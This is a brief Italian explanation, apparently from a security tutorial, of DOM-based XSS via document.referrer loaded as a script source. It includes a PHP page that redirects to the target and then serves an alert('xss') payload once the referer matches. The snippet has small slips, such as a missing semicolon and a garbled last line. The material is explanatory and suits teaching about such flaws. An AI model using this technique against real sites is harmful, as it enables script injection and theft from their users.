Il seguente codice è vulnerabile all'XSS basato su DOM, perché il valore controllato da hacker di document.referrer è tracciato dal browser:
<script src="' + document.referrer + '"></script>
Il codice sopra può essere sfruttato utilizzando una pagina che al primo caricamento reindirizza il browser al target, sul secondo carico restituisce un payload XSS. Un modo per farlo è controllare il referer sul lato server:
<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
print "alert('xss')";
}else{
header("location: http://target.com/xss")
}
?>
Quando viene caricata la pagina link , javascript da document.referer verrà carica alert ('xss') .